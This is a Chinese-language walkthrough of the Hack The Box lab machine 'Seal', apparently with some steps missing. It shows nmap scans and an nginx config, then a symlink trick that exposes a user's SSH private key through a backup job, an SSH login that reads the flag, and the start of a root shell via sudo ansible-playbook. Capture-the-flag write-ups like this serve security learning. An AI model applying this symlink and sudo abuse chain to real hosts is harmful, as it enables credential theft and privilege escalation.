Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-21 20:47 CST Warning: 10.10.10.250 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.10.250 Host is up (0.40s latency). Not shown: 57981 closed tcp ports (reset), 7551 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 443/tcp open https 8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 51.18 seconds * 正在对开放的端口进行TCP全连接式版本探测和系统版本以及漏洞探测... sudo nmap -sT -sV -sC -p"22,443,8080,""10.10.10.250"
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-21 20:48 CST Nmap scan report for 10.10.10.250 Host is up (0.34s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA) | 256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA) |_ 256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519) 443/tcp open ssl/http nginx 1.18.0 (Ubuntu) |_ssl-date: TLS randomness does not represent time | tls-nextprotoneg: |_ http/1.1 | tls-alpn: |_ http/1.1 |_http-title: 400 The plain HTTP request was sent to HTTPS port | ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK | Not valid before: 2021-05-05T10:24:03 |_Not valid after: 2022-05-05T10:24:03 |_http-server-header: nginx/1.18.0 (Ubuntu) 8080/tcp open http-proxy | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Server returned status 401 but no WWW-Authenticate header. |_http-title: Site doesn't have a title (text/html;charset=utf-8). | fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 401 Unauthorized | Date: Sun, 21 Jan 2024 12:48:42 GMT | Set-Cookie: JSESSIONID=node0joxvqq12yfrlvr6cwt5k9wvw2.node0; Path=/; HttpOnly | Expires: Thu, 01 Jan 1970 00:00:00 GMT | Content-Type: text/html;charset=utf-8 | Content-Length: 0 | GetRequest: | HTTP/1.1 401 Unauthorized | Date: Sun, 21 Jan 2024 12:48:35 GMT | Set-Cookie: JSESSIONID=node0f5iw5xempegh2f6jvm84gi5d0.node0; Path=/; HttpOnly | Expires: Thu, 01 Jan 1970 00:00:00 GMT | Content-Type: text/html;charset=utf-8 | Content-Length: 0 | HTTPOptions: | HTTP/1.1 200 OK | Date: Sun, 21 Jan 2024 12:48:36 GMT | Set-Cookie: JSESSIONID=node0r3w5lvmxp2on1qtg3ge5m2zz61.node0; Path=/; HttpOnly | Expires: Thu, 01 Jan 1970 00:00:00 GMT | Content-Type: text/html;charset=utf-8 | Allow: GET,HEAD,POST,OPTIONS | Content-Length: 0 | RPCCheck: | HTTP/1.1 400 Illegal character OTEXT=0x80 | Content-Type: text/html;charset=iso-8859-1 | Content-Length: 71 | Connection: close | <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre> | RTSPRequest: | HTTP/1.1 505 Unknown Version | Content-Type: text/html;charset=iso-8859-1 | Content-Length: 58 | Connection: close | <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre> | Socks4: | HTTP/1.1 400 Illegal character CNTL=0x4 | Content-Type: text/html;charset=iso-8859-1 | Content-Length: 69 | Connection: close | <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x4</pre> | Socks5: | HTTP/1.1 400 Illegal character CNTL=0x5 | Content-Type: text/html;charset=iso-8859-1 | Content-Length: 69 | Connection: close |_ <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre>
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-21 20:51 CST Warning: 10.10.10.250 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.10.250 Host is up (0.44s latency). All 65535 scanned ports on 10.10.10.250 are in ignored states. Not shown: 65492 open|filtered udp ports (no-response), 43 closed udp ports (port-unreach)
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-21 20:52 CST Error #487: Your port specifications are illegal. Example of proper form: "-100,200-1024,T:3000-4000,U:60000-" QUITTING!
3、根据443端口信息情况,绑定下本地的hosts信息
1 2 3 4
┌──(kali㉿kali)-[~/桌面] └─$ echo"10.10.10.250 seal.htb" | sudo tee -a /etc/hosts [sudo] kali 的密码: 10.10.10.250 seal.htb
server { listen 443 ssl default_server; listen [::]:443 ssl default_server;
# SSL configuration # # listen 443 ssl default_server; # listen [::]:443 ssl default_server; # # Note: You should disable gzip for SSL traffic. # See: https://bugs.debian.org/773332 # # Read up on ssl_ciphers to ensure a secure configuration. # See: https://bugs.debian.org/765782 # # Self signed certs generated by the ssl-cert package # Don't use them in a production server! # # include snippets/snakeoil.conf;
# Add index.php to the list if you are using PHP index index.html index.htm index.nginx-debian.html;
server_name _;
location /manager/html { if ($ssl_client_verify != SUCCESS) { return 403; } proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_pass http://localhost:8000; proxy_read_timeout 90; proxy_redirect http://localhost:8000 https://0.0.0.0; # First attempt to serve request as file, then # as directory, then fall back to displaying a 404. # try_files $uri $uri/ =404; }
location /admin/dashboard { if ($ssl_client_verify != SUCCESS) { return 403; } proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_pass http://localhost:8000; proxy_read_timeout 90; proxy_redirect http://localhost:8000 https://0.0.0.0; # First attempt to serve request as file, then # as directory, then fall back to displaying a 404. # try_files $uri $uri/ =404; }
location /host-manager/html { if ($ssl_client_verify != SUCCESS) { return 403; } proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_pass http://localhost:8000; proxy_read_timeout 90; proxy_redirect http://localhost:8000 https://0.0.0.0; # First attempt to serve request as file, then # as directory, then fall back to displaying a 404. # try_files $uri $uri/ =404; }
location / { proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_pass http://localhost:8000; proxy_read_timeout 90; proxy_redirect http://localhost:8000 https://0.0.0.0; } # pass PHP scripts to FastCGI server # #location ~ \.php$ { # include snippets/fastcgi-php.conf; # # # With php-fpm (or other unix sockets): # fastcgi_pass unix:/var/run/php/php7.4-fpm.sock; # # With php-cgi (or other tcp sockets): # fastcgi_pass 127.0.0.1:9000; #}
# deny access to .htaccess files, if Apache's document root # concurs with nginx's one # #location ~ /\.ht { # deny all; #} }
11、当路径为 /admin/dashboard 时,会请求服务器本地监听端口 8000。前置存在一个 if 判断,当 ssl_client_verify 校验成功后才能访问。
python3 -c 'import pty;pty.spawn("/bin/bash")' tomcat@seal:/var/lib/tomcat9$ tomcat@seal:/var/lib/tomcat9$ ls -la /home ls -la /home total 12 drwxr-xr-x 3 root root 4096 May 5 2021 . drwxr-xr-x 20 root root 4096 May 7 2021 .. drwxr-xr-x 9 luis luis 4096 May 7 2021 luis tomcat@seal:/var/lib/tomcat9$ ls -la/home/luis ls -la/home/luis ls: invalid option -- '/' Try 'ls --help'for more information. tomcat@seal:/var/lib/tomcat9$ ls -la /home/luis ls -la /home/luis total 51320 drwxr-xr-x 9 luis luis 4096 May 7 2021 . drwxr-xr-x 3 root root 4096 May 5 2021 .. drwxrwxr-x 3 luis luis 4096 May 7 2021 .ansible lrwxrwxrwx 1 luis luis 9 May 5 2021 .bash_history -> /dev/null -rw-r--r-- 1 luis luis 220 May 5 2021 .bash_logout -rw-r--r-- 1 luis luis 3797 May 5 2021 .bashrc drwxr-xr-x 3 luis luis 4096 May 7 2021 .cache drwxrwxr-x 3 luis luis 4096 May 5 2021 .config drwxrwxr-x 6 luis luis 4096 Jan 21 12:46 .gitbucket -rw-r--r-- 1 luis luis 52497951 Jan 14 2021 gitbucket.war drwxrwxr-x 3 luis luis 4096 May 5 2021 .java drwxrwxr-x 3 luis luis 4096 May 5 2021 .local -rw-r--r-- 1 luis luis 807 May 5 2021 .profile drwx------ 2 luis luis 4096 May 7 2021 .ssh -r-------- 1 luis luis 33 Jan 21 12:46 user.txt tomcat@seal:/var/lib/tomcat9$
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$ ln -s /home/luis/ /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/ <r/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/ tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$ cd uploads/ cd uploads/ tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads$ ls -la ls -la total 8 drwxrwxrwx 2 root root 4096 Jan 21 14:35 . drwxr-xr-x 7 root root 4096 May 7 2021 .. lrwxrwxrwx 1 tomcat tomcat 11 Jan 21 14:35 luis -> /home/luis/ tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads$ cd luis cd luis tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/luis$ ls ls gitbucket.war user.txt tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/luis$ ls -la <9/webapps/ROOT/admin/dashboard/uploads/luis$ ls -la total 51320 drwxr-xr-x 9 luis luis 4096 May 7 2021 . drwxr-xr-x 3 root root 4096 May 5 2021 .. drwxrwxr-x 3 luis luis 4096 May 7 2021 .ansible lrwxrwxrwx 1 luis luis 9 May 5 2021 .bash_history -> /dev/null -rw-r--r-- 1 luis luis 220 May 5 2021 .bash_logout -rw-r--r-- 1 luis luis 3797 May 5 2021 .bashrc drwxr-xr-x 3 luis luis 4096 May 7 2021 .cache drwxrwxr-x 3 luis luis 4096 May 5 2021 .config drwxrwxr-x 6 luis luis 4096 Jan 21 12:46 .gitbucket -rw-r--r-- 1 luis luis 52497951 Jan 14 2021 gitbucket.war drwxrwxr-x 3 luis luis 4096 May 5 2021 .java drwxrwxr-x 3 luis luis 4096 May 5 2021 .local -rw-r--r-- 1 luis luis 807 May 5 2021 .profile drwx------ 2 luis luis 4096 May 7 2021 .ssh -r-------- 1 luis luis 33 Jan 21 12:46 user.txt tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/luis$ cd .ssh </webapps/ROOT/admin/dashboard/uploads/luis$ cd .ssh bash: cd: .ssh: Permission denied tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/luis$ ls ls gitbucket.war user.txt tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/luis$ cd ../ <9/webapps/ROOT/admin/dashboard/uploads/luis$ cd ../ tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads$
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads$ cd ../ cd ../ tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$ ls -l /opt/backups/archives/ </ROOT/admin/dashboard$ ls -l /opt/backups/archives/ total 338676 -rw-rw-r-- 1 luis luis 115600641 Jan 21 14:35 backup-2024-01-21-14:35:32.gz -rw-rw-r-- 1 luis luis 115600685 Jan 21 14:36 backup-2024-01-21-14:36:33.gz -rw-rw-r-- 1 luis luis 115600731 Jan 21 14:37 backup-2024-01-21-14:37:32.gz tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$ cd /opt/backups/archives/ <pps/ROOT/admin/dashboard$ cd /opt/backups/archives/ tomcat@seal:/opt/backups/archives$ ls -la ls -la total 338684 drwxrwxr-x 2 luis luis 4096 Jan 21 14:37 . drwxr-xr-x 4 luis luis 4096 Jan 21 14:37 .. -rw-rw-r-- 1 luis luis 115600641 Jan 21 14:35 backup-2024-01-21-14:35:32.gz -rw-rw-r-- 1 luis luis 115600685 Jan 21 14:36 backup-2024-01-21-14:36:33.gz -rw-rw-r-- 1 luis luis 115600731 Jan 21 14:37 backup-2024-01-21-14:37:32.gz tomcat@seal:/opt/backups/archives$ tar -xvf backup-2024-01-21-14:37:32.gz tar -xvf backup-2024-01-21-14:37:32.gz tar: Cannot connect to backup-2024-01-21-14: resolve failed tomcat@seal:/opt/backups/archives$ ls ls backup-2024-01-21-14:35:32.gz backup-2024-01-21-14:37:32.gz backup-2024-01-21-14:36:33.gz backup-2024-01-21-14:38:33.gz tomcat@seal:/opt/backups/archives$
tomcat@seal:/var/lib/tomcat9$ ls -la /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/ <r/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/ total 8 drwxrwxrwx 2 root root 4096 Jan 21 14:47 . drwxr-xr-x 7 root root 4096 May 7 2021 .. lrwxrwxrwx 1 tomcat tomcat 16 Jan 21 14:47 .ssh -> /home/luis/.ssh/ tomcat@seal:/var/lib/tomcat9$ cd
tomcat@seal:/var/lib/tomcat9$ cd /opt/backups/archives/ cd /opt/backups/archives/ tomcat@seal:/opt/backups/archives$ ls ls backup-2024-01-21-14:45:33.gz backup-2024-01-21-14:47:32.gz backup-2024-01-21-14:46:33.gz tomcat@seal:/opt/backups/archives$ cp backup-2024-01-21-14:47:32.gz /tmp/backup-2024-01-21-14:47:32.gz <1-21-14:47:32.gz /tmp/backup-2024-01-21-14:47:32.gz tomcat@seal:/opt/backups/archives$ ls -la /tmp ls -la /tmp total 608 drwxrwxrwt 3 root root 4096 Jan 21 14:48 . drwxr-xr-x 20 root root 4096 May 7 2021 .. -rw-r----- 1 tomcat tomcat 609575 Jan 21 14:48 backup-2024-01-21-14:47:32.gz drwxr-x--- 2 tomcat tomcat 4096 Jan 21 12:46 hsperfdata_tomcat tomcat@seal:/opt/backups/archives$ cd tmp cd tmp bash: cd: tmp: No such file or directory
tomcat@seal:/opt/backups/archives$ tomcat@seal:/opt/backups/archives$ cd /tmp cd /tmp tomcat@seal:/tmp$ ls -la ls -la total 608 drwxrwxrwt 3 root root 4096 Jan 21 14:48 . drwxr-xr-x 20 root root 4096 May 7 2021 .. -rw-r----- 1 tomcat tomcat 609575 Jan 21 14:48 backup-2024-01-21-14:47:32.gz drwxr-x--- 2 tomcat tomcat 4096 Jan 21 12:46 hsperfdata_tomcat tomcat@seal:/tmp$ tar -xvf backup-2024-01-21-14:47:32.gz tar -xvf backup-2024-01-21-14:47:32.gz tar: Cannot connect to backup-2024-01-21-14: resolve failed tomcat@seal:/tmp$ tomcat@seal:/tmp$ tar -xvf backup-2024-01-21-14:47:32.gz --force-local tar -xvf backup-2024-01-21-14:47:32.gz --force-local dashboard/ dashboard/scripts/ dashboard/images/ dashboard/css/ dashboard/uploads/ dashboard/bootstrap/ dashboard/index.html dashboard/scripts/flot/ dashboard/scripts/datatables/ dashboard/scripts/jquery-ui-1.10.1.custom.min.js dashboard/scripts/common.js dashboard/scripts/jquery-1.9.1.min.js dashboard/scripts/flot/jquery.flot.resize.js dashboard/scripts/flot/jquery.flot.pie.js dashboard/scripts/flot/jquery.flot.js dashboard/scripts/datatables/jquery.dataTables.js dashboard/images/jquery-ui/ dashboard/images/icons/ dashboard/images/img.jpg dashboard/images/user.png dashboard/images/bg.png dashboard/images/jquery-ui/picker.png dashboard/images/icons/css/ dashboard/images/icons/font/ dashboard/images/icons/css/font-awesome.css dashboard/images/icons/font/fontawesome-webfont3294.ttf dashboard/images/icons/font/fontawesome-webfontd41d.eot dashboard/images/icons/font/fontawesome-webfont3294.eot dashboard/images/icons/font/fontawesome-webfont3294.woff dashboard/css/theme.css dashboard/uploads/.ssh/ dashboard/uploads/.ssh/id_rsa dashboard/uploads/.ssh/id_rsa.pub dashboard/uploads/.ssh/authorized_keys dashboard/bootstrap/css/ dashboard/bootstrap/js/ dashboard/bootstrap/img/ dashboard/bootstrap/css/bootstrap-responsive.min.css dashboard/bootstrap/css/bootstrap.min.css dashboard/bootstrap/js/bootstrap.min.js dashboard/bootstrap/img/glyphicons-halflings.png dashboard/bootstrap/img/glyphicons-halflings-white.png tomcat@seal:/tmp$ ls ls backup-2024-01-21-14:47:32.gz dashboard hsperfdata_tomcat tomcat@seal:/tmp$ cd dashboard cd dashboard tomcat@seal:/tmp/dashboard$ ls ls bootstrap css images index.html scripts uploads tomcat@seal:/tmp/dashboard$ cd uploads cd uploads tomcat@seal:/tmp/dashboard/uploads$ ls ls tomcat@seal:/tmp/dashboard/uploads$ ls -la ls -la total 12 drwxr-x--- 3 tomcat tomcat 4096 Jan 21 14:49 . drwxr-x--- 7 tomcat tomcat 4096 May 7 2021 .. drwx------ 2 tomcat tomcat 4096 May 7 2021 .ssh tomcat@seal:/tmp/dashboard/uploads$ cd .ssh cd .ssh tomcat@seal:/tmp/dashboard/uploads/.ssh$ ls -la ls -la total 20 drwx------ 2 tomcat tomcat 4096 May 7 2021 . drwxr-x--- 3 tomcat tomcat 4096 Jan 21 14:49 .. -rw-r----- 1 tomcat tomcat 563 May 7 2021 authorized_keys -rw------- 1 tomcat tomcat 2590 May 7 2021 id_rsa -rw-r----- 1 tomcat tomcat 563 May 7 2021 id_rsa.pub tomcat@seal:/tmp/dashboard/uploads/.ssh$
┌──(kali㉿kali)-[~/桌面] └─$ ssh luis@10.10.10.250 -i id_rsa The authenticity of host '10.10.10.250 (10.10.10.250)' can't be established. ED25519 key fingerprint is SHA256:CK0IgtHX4isQwWAPna6oD88DnRAM9OacxQExxLSnlL0. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.250' (ED25519) to the list of known hosts. Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)
System information as of Sun 21 Jan 2024 02:55:30 PM UTC
System load: 0.05 Usage of /: 46.6% of 9.58GB Memory usage: 26% Swap usage: 0% Processes: 165 Users logged in: 0 IPv4 address for eth0: 10.10.10.250 IPv6 address for eth0: dead:beef::250:56ff:feb9:9cd9
0 updates can be applied immediately.
The list of available updates is more than a week old. To check for new updates run: sudo apt update
Last login: Fri May 7 07:00:18 2021 from 10.10.14.2 luis@seal:~$ id uid=1000(luis) gid=1000(luis) groups=1000(luis) luis@seal:~$
27、成功登录,接下来就是获取第一个flag信息了
1 2 3 4 5
luis@seal:~$ ls gitbucket.war user.txt luis@seal:~$ cat user.txt 4923ddadf9345f6a0a97f56293c05978 luis@seal:~$
0x02 系统权限获取
28、查看下sudo配置情况
1 2 3 4 5 6 7 8
luis@seal:~$ sudo -l Matching Defaults entries for luis on seal: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User luis may run the following commands on seal: (ALL) NOPASSWD: /usr/bin/ansible-playbook * luis@seal:~$
luis@seal:~$ luis@seal:~$ TF=$(mktemp) luis@seal:~$ echo'[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF luis@seal:~$ sudo ansible-playbook $TF [WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'
PLAY [localhost] ************************************************************************